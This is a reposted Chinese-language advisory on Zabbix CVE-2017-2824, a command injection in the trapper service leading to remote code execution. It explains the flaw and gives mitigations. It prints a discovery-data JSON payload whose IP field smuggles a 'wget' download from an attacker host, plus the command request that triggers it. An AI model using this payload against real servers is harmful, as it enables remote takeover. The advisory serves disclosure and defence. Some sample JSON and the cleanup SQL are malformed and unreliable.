Zabbix爆高危漏洞CVE-2017-2824
来源:互联网 发布:微信授权登陆 java 编辑:程序博客网 时间:2024/06/05 08:16
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。
zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。
CVE-2017-2824:Zabbix Server Active Proxy Trapper 远程代码执行漏洞
Zabbix 2.4.x中的trapper command功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码,攻击者可以从一个Zabbix proxy发起请求从而促发漏洞。
影响版本
Zabbix 2.4.7 – 2.4.8r1
漏洞描述
该漏洞位于Zabbix中“Trapper”代码部分,它的主要功能是允许Proxy和Server进行通信的网络服务(TCP端口10051)Zabbix Server提供了一组针对Zabbix Proxy的API调用,两个将讨论的是“discovery data”和“request command”。这些请求的示例数据如下所示:
'{"request":"command","scriptid":1,"hostid":10001}''{"request":"discovery data","host":"zabbix-proxy.com","clock":10,"data":[{"clock":10,"drule":1,"dcheck2,"type":0,"ip:10.0.0.1, "dns":"zabbix-agent.com", port":10050,"key":"test","status":0,"value":"test_value"}]}
应该注意的是,request命令调用位于Zabbix数据库中的脚本,而不进行任何身份验证。该漏洞的另一个关键方面是,默认情况下,Zabbix 2.4.X使用脚本以下表中的3个脚本填充MySQL数据库:
问题在于,在调用脚本时,{HOST.CONN}字段实际上被host的IP地址替换。替换{HOST.CONN}的值位于Zabbixinterface表中,然后保存成VARCHAR(64)类型的“IP”字段。因此,如果攻击者可以使用命令注入创建接口作为IP地址,并且通过“命令”请求的方式运行{HOST.CONN}脚本,则将发生命令注入,并且可以获得反向shell。
这个难题在于有效地将值插入到Zabbixhost表。默认情况下,未经身份验证的攻击者无法做到这一点,它需要系统管理员的一个次要配置,特别是关于Zabbix自动发现功能。
Zabbix自动发现和自动注册功能允许根据Zabbix Proxy提供的Zabbix Server数据进行Zabbix Server的配置。更具体地说,如果主机根据服务器的配置向Zabbix Proxy提供某些特性,则可能会采取某些操作,其中一个会使新发现的主机被添加到某些Zabbix数据库表中。在这种情况下,主机将被插入到“host”表中,并且将创建一个入口到Zabbixinterface表中,主机提供的IP地址插入到IP列中,而不会对该IP地址的任何验证。
因此,通过使用合适的主机向服务器发送一个发现数据请求,可以将命令注入插入到数据库中:
write_script_cmd='{"request":"discoverydata","host":"zabbix-proxy.domain.fake","clock":148535399,"data":[{"clock":1485353070,"drule":88,"dcheck":174,"type":0,"ip":";wget -O/tmp/shttp://attacker-ip/s;#","dns":"host28.domain.fake","port":10050,"key":"sectest","status":0,"value":"lnx<(^_^)>host"}]}'
由于ZabbixInterface表的ip字段的大小限制,第二个主机被插入到另一个IP地址的表中。
run_cmd = '{"request":"command","scriptid":1,"hostid":14666}'
在这两个主机被添加之后,仍然有一个问题,即不知道该hostid的command请求,但是这很容易解决了。暴力请求入数据库,因为不同的命令请求会返回不同的响应,确定主机是否存在,一旦存在的主机被确定,就可以直接调用它们,并且可以获得反向的shell。
1.官网修复版本发布后及时升级,目前官方反馈会在以下版本修复:2.0.21rc1, 2.2.18rc1, 3.0.9rc1, 3.2.5rc1, 3.4.0alpha1 (trunk)
2.缓解措施:删除Zabbix数据库中的默认脚本条目
- 直接操作数据库删除SQL为:
use zabbix;delete * from scripts;
- 使用图形界面删除(Administration->Scripts->Checkmarks->Delete Selected)。
本文转载自:http://www.linuxprobe.com/zabbix-bug-cve.html
- Zabbix爆高危漏洞CVE-2017-2824
- 【高危漏洞预警】CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052)
- 漏洞预警:zabbix再爆高危SQL注入漏洞,可获操作系统权限
- Struts2爆高危漏洞
- zabbix再现高危SQL注入漏洞,可获操作系统权限
- 请注意!Zabbix高危SQL注入漏洞分析
- ImageMagick被爆高危漏洞
- [漏洞] CVE-2017-1000364/CVE-2017-1000365/CVE-2017-1000366
- CVE-2017-12617漏洞分析
- 使用Coverity 检测 ImageMagick高危命令执行 (CVE-2016-3714 )0Day漏洞
- PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)
- Struts2爆高危漏洞殃及大量网站
- Apache Struts2再爆高危漏洞
- ImageMagick爆高危命令执行漏洞
- Struts2爆高危漏洞 多行业成漏洞重灾区
- 监测防护SambaCry CVE-2017-7494漏洞
- MS Office 漏洞CVE-2017-8759复现
- CVE-2017-11826漏洞利用样本分析
- ios进阶
- linux系统文件类型
- YARN资源调度策略
- 2010年程序员上半年上午试题
- php获取上一页url
- Zabbix爆高危漏洞CVE-2017-2824
- Vue组件开发实践之scopedSlot的传递
- 跟我一起写 Makefile
- KW41Z_FreeRTOS学习笔记
- 用户登录
- Java版中文分词 IKAnalyzer
- LintCode 解题记录17.5.10(tag:线段树)
- 面向容器技术资源调度关键技术对比
- JSP内置对象response